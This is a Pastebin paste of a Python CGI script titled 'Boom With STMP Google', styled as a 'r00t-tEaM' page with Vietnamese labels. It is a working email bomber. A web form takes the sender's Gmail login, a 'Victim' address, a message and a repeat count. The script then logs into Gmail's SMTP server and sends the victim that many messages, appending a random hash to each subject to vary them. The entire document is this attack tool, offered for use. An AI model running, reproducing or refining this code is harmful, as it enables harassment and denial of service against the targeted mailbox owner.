Advertisement
parkdream1

boom.py

Jul 10th, 2013
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.87 KB | None | 0 0
  1. #!C:/Python27/python.exe
  2. # -*- coding: utf-8 -*-
  3. # import
  4. import cgitb; cgitb.enable()
  5. import cgi
  6. import hashlib
  7. import smtplib
  8. from random import choice
  9. from string import Template
  10. #HTML
  11. html = Template("""
  12. <html>
  13. <head>
  14.    <title>r00t-tEaM</title>
  15.    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  16.    <style>
  17.     body {
  18.         background-color: rgb(74,81,85);
  19.         color: #99CC00;
  20.         }
  21.     table {
  22.         font-family: Verdana, Tahoma;
  23.         font-size:22px;
  24.         }
  25.     input {
  26.         background-color:#FFCC00;
  27.         font-family:Tahoma;
  28.         font-size:8pt;
  29.     }
  30.     textarea {
  31.         border-radius: 5px 5px 5px 5px;
  32.     }
  33.     h1 {
  34.         color: #99CC00
  35.     }
  36.     h3 {
  37.         color: #FFCC00
  38.     }
  39.     h4 {
  40.         color: #99CC00
  41.     }
  42.     .submit-button {
  43.         background: #57A02C;
  44.         border:solid 1px #57A02C;
  45.         border-radius:5px;
  46.         -moz-border-radius: 5px;
  47.         -webkit-border-radius: 5px;
  48.         -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  49.         -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  50.         text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
  51.         border-bottom: 1px solid rgba(0,0,0,0.25);
  52.         position: relative;
  53.         color:#FFF;
  54.         display: inline-block;
  55.         cursor:pointer;
  56.         font-size:13px;
  57.         padding:3px 8px;
  58.         height: 30px;width: 120px;
  59.     }
  60.     .submit-button:hover {
  61.         background:#82D051;border:solid 1px #86CC50;
  62.         height: 30px;width: 120px; 
  63.     }
  64.    </style>
  65.    
  66. </head>
  67. <body>
  68. <div style="text-align: center;">
  69. <h1>Boom With STMP Google</h1>
  70. <h3>No Log You G-Mail</h3>
  71. <h4>Nếu xảy ra lỗi vui lòng đăng nhập G-Mail bằng trình duyệt rồi vào <a href="http://www.google.com/accounts/DisplayUnlockCaptcha" target="_blank">DisplayUnlockCaptcha</a></h4>
  72. <form action="?" method="POST">
  73. User: <input type="text" value="" size="70" name="user" /><br /><br />
  74. Pass: <input type="text" value="" size="70" name="password"/><br /><br />
  75. Victim: <input type="text" value="" size="70" name="victim"/><br /><br />
  76. Subject: <input type="text" value="" size="70" name="subject"/><br /><br />
  77. <center>Body: </center><br /><textarea name="body" cols="40" rows="8" ></textarea><br /><br />
  78. Số Lần: <input type="text" value="" size="10" name="solan"/><br /><br />
  79. Status: <input type="text" value="$status" size="30" name="status" /><br /><br />
  80. <input type="hidden" value="boom" size="50" name="command" />
  81. <input type="submit" class = "submit-button" value="Fuck">
  82. </form>
  83. </div>
  84. </body>
  85. </html>
  86. """)       
  87. def get_param(form, param,default=None):
  88.     if form.has_key(param):
  89.         return form.getvalue(param)
  90.     return default
  91.    
  92. def main():
  93.     print "Content-type: text/html"
  94.     print
  95.    
  96.     form = cgi.FieldStorage()
  97.     command = get_param(form,"command")
  98.    
  99.     user = get_param(form,"user")
  100.     password = get_param(form,"password")
  101.     victim = get_param(form,"victim")
  102.     subject = get_param(form,"subject")
  103.     solan = get_param(form,"solan")
  104.     status = get_param(form,"status")
  105.     body = get_param(form,"body")
  106.     status = "Vui Lòng Điền Đầy Đủ Thông Tin"
  107.    
  108.     SMTP_SERVER = 'smtp.gmail.com'
  109.     SMTP_PORT = 587
  110.    
  111.     lst = ['q','w','e','r','t','y','u','i','o','p','a','s','d','f','g','h','j','k','l','z','x','c','v','b','n','m']
  112.     body = "" + str(body) + ' Boom Mail Script By parkdream1' + ""
  113.    
  114.    
  115.     if command == "boom":
  116.         try:
  117.             for i in range(0, int(solan)):
  118.                 random = choice(lst)
  119.                 subject = str(subject) + " " + str(int(hashlib.md5(random).hexdigest(), 16))
  120.                 headers = ["From: " + str(user),
  121.                     "Subject: " + str(subject),
  122.                     "To: " + str(victim),
  123.                     "MIME-Version: 1.0",
  124.                     "Content-Type: text/html"]
  125.                 headers = "\r\n".join(headers) 
  126.                 session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
  127.                 session.ehlo()
  128.                 session.starttls()
  129.                 session.ehlo
  130.                 session.login(user, password)
  131.                 session.sendmail(user, victim, headers + "\r\n\r\n" + body)
  132.                 session.quit()
  133.             status = "Đã Song"
  134.         except:
  135.             status = "Đã xảy ra lỗi"
  136.     print html.substitute(status = status)
  137. if __name__ == '__main__':
  138.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement